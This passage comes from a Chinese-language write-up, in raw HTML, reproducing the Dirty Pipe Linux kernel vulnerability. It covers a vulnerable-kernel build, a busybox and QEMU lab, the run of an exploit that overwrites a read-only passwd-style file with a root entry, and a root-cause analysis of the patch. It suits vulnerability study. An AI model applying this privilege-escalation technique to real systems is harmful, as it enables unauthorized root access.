19.2px;">1）编译内核</h3><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="shell"><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;"># 补丁信息</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;"># <a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/diff/?id=9d2231c5d74e13b2a0546fee6737ee4446017903&amp;id2=e783362eb54cd99b2cac8b3a9aeac942e6f6ac07" target="_blank">https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/diff/?id=9d2231c5d74e13b2a0546fee6737ee4446017903&amp;id2=e783362eb54cd99b2cac8b3a9aeac942e6f6ac07</a></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">git  clone <a href="https://github.com/torvalds/linux.git" target="_blank">https://github.com/torvalds/linux.git</a></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">#切换到漏洞版本</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">git  checkout e783362eb54cd99b2cac8b3a9aeac942e6f6ac07</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">make x86_64_defconfig</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">make menuconfig</span></code></pre></section><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">设置编译选项</p><p style="box-sizing: border-box;margin-top: 20px;margin-right: 10px;margin-bottom: 20px;padding-left: 20px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span>Compile the kernel with debug info</span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span>Provide GDB scripts for kernel debugging</span></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">编译</p><p style="box-sizing: border-box;margin-top: 20px;margin-right: 10px;margin-bottom: 20px;padding-left: 20px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span>make -j8</span></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><br/></p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">2）编译bzbox</h3><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="shell"><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">wget <a href="https://busybox.net/downloads/busybox-1.35.0.tar.bz2" target="_blank">https://busybox.net/downloads/busybox-1.35.0.tar.bz2</a></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">tar -jxf busybox-1.35.0.tar.bz2</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">make menuconfig</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">make -j8</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">make install</span></code></pre></section><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">编译完成后，生成的文件系统在<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">./install</code>目录下，创建目录及初始化脚本</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="shell"><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;"># mkdir -p  proc sys dev etc/init.d</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;"># vim ./init</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;"># cat ./init</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">  #!/bin/sh</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">  echo &#34;INIT SCRIPT&#34;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">  mkdir /tmp</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">  mount -t proc none /proc</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">  mount -t sysfs none /sys</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">  mount -t devtmpfs none /dev</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">  mount -t debugfs none /sys/kernel/debug</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">  mount -t tmpfs none /tmp</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">  echo -e &#34;Boot took $(cut -d&#39; &#39; -f1 /proc/uptime) seconds&#34;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">  setsid /bin/cttyhack setuidgid 1000 /bin/sh</span></code></pre></section><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">打包文件系统</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="shell"><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">chmod +x ./init</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;"># 将作者的poc复制到文件系统，需要静态编译-static</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">cp ../../../vulns/DirtyPipe/writer ./</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">cp ../../../vulns/DirtyPipe/splicer ./</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">find . | cpio -o --format=newc &gt; ../../rootfs.img</span></code></pre></section><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">启动脚本</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="shell"><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">#!/bin/sh</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">qemu-system-x86_64 \</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    -m 64M \</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    -nographic \</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    -kernel ./linux_knl/linux/arch/x86/boot/bzImage \</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    -initrd  ./rootfs.img \</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    -append &#34;root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr&#34; \</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    -smp cores=2,threads=1 \</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">    -cpu kvm64</span></code></pre></section><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><br/></p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;">2. 复现问题</h2><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="box-sizing: border-box;text-decoration:line-through;">进入虚拟机后，启动poc，测试作者的poc失败，不分析</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="shell"><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">./writer &gt;/tmp/foo &amp;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">./splicer &lt;/tmp/foo |cat &gt;/dev/null &amp;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">head -n10 /tmp/foo</span></code></pre></section><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">测试作者的<span style="box-sizing: border-box;color: rgb(255, 53, 2);line-height: 1.5;">exploit<sup style="box-sizing: border-box;">[1]</sup></span>，只是测试一下越权任意文件写的能力，在busybox中创建如下target</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="shell"><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">/ $ ls -l ./etc/passwd1</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">-rw-r--r-- 1 root root 90 Mar  8 17:23 ./etc/passwd1</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">/ $ cat ./etc/passwd1</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">aaaa bbbbbbbbbbbbbbbbbbbbbbbb</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">aaaa bbbbbbbbbbbbbbbbbbbbbbbb</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">aaaa bbbbbbbbbbbbbbbbbbbbbbbb</span></code></pre></section><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">启动虚拟机，执行exp，成功修改了644权限的passwd1文件</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="shell"><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">/ $ ./exp</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">Backing up /etc/passwd1 to /tmp/passwd1.bak ...</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">Setting root password to &#34;aaron&#34;...</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">system() function call seems to have failed :(</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">/ $ cat /etc/passwd1</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">aaaa:$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">aaaa bbbbbbbbbbbbbbbbbbbbbbbb</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">/ $ id</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">uid=1000 gid=1000 groups=1000</span></code></pre></section><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><br/></p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;">3. 分析</h2><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><br/></p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">1）结论</h3><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><strong style="box-sizing: border-box;color: rgb(255, 53, 2);line-height: 1.5;">先创建带</strong><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">PIPE_BUF_FLAG_CAN_MERGE</code><strong style="box-sizing: border-box;color: rgb(255, 53, 2);line-height: 1.5;">标签的pipe_buf</strong>，<strong style="box-sizing: border-box;color: rgb(255, 53, 2);line-height: 1.5;">然后利用</strong><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">splice</code><strong style="box-sizing: border-box;color: rgb(255, 53, 2);line-height: 1.5;">底层的零拷贝机制，</strong><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">splice</code><strong style="box-sizing: border-box;color: rgb(255, 53, 2);line-height: 1.5;">调用</strong><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">copy_page_to_iter_pipe</code><strong style="box-sizing: border-box;color: rgb(255, 53, 2);line-height: 1.5;">完成pipe_buf的页和目标文件page_cache的绑定，且完成绑定后未置空pipe_buf的flags，最后利用pipe_write对带</strong><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">PIPE_BUF_FLAG_CAN_MERGE</code><strong style="box-sizing: border-box;color: rgb(255, 53, 2);line-height: 1.5;">标签的pipe_buf写时，直接获取pipe_buf的页引用，且写时不存在权限检查，最后导致了越权写任意文件任意数据，准确的说是写任意具有读权限的文件任意数据（因为splice底层实现，校验了file的读属性）。</strong></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><br/></p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">2）补丁信息</h3><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">漏洞的引入在<span style="box-sizing: border-box;color: rgb(255, 53, 2);line-height: 1.5;">commit<sup style="box-sizing: border-box;">[2]</sup></span>，修改了匿名管道缓冲区的merge属性的设置，引入了属性<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;">PIPE_BUF_FLAG_CAN_MERGE</code>，同样在漏洞的<span style="box-sizing: border-box;color: rgb(255, 53, 2);line-height: 1.5;">补丁<sup style="box-sizing: border-box;">[3]</sup></span>里，对管道的缓冲区的flags进行了初始化设置为0，如下</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="c"><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">diff --git a/lib/iov_iter.c b/lib/iov_iter.c</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">index b0e0acdf96c15..6dd5330f7a995 100644</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">--- a/lib/iov_iter.c</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">+++ b/lib/iov_iter.c</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">@@ -414,6 +414,7 @@ static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t by</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">         return 0;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;box-sizing: border-box;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;">     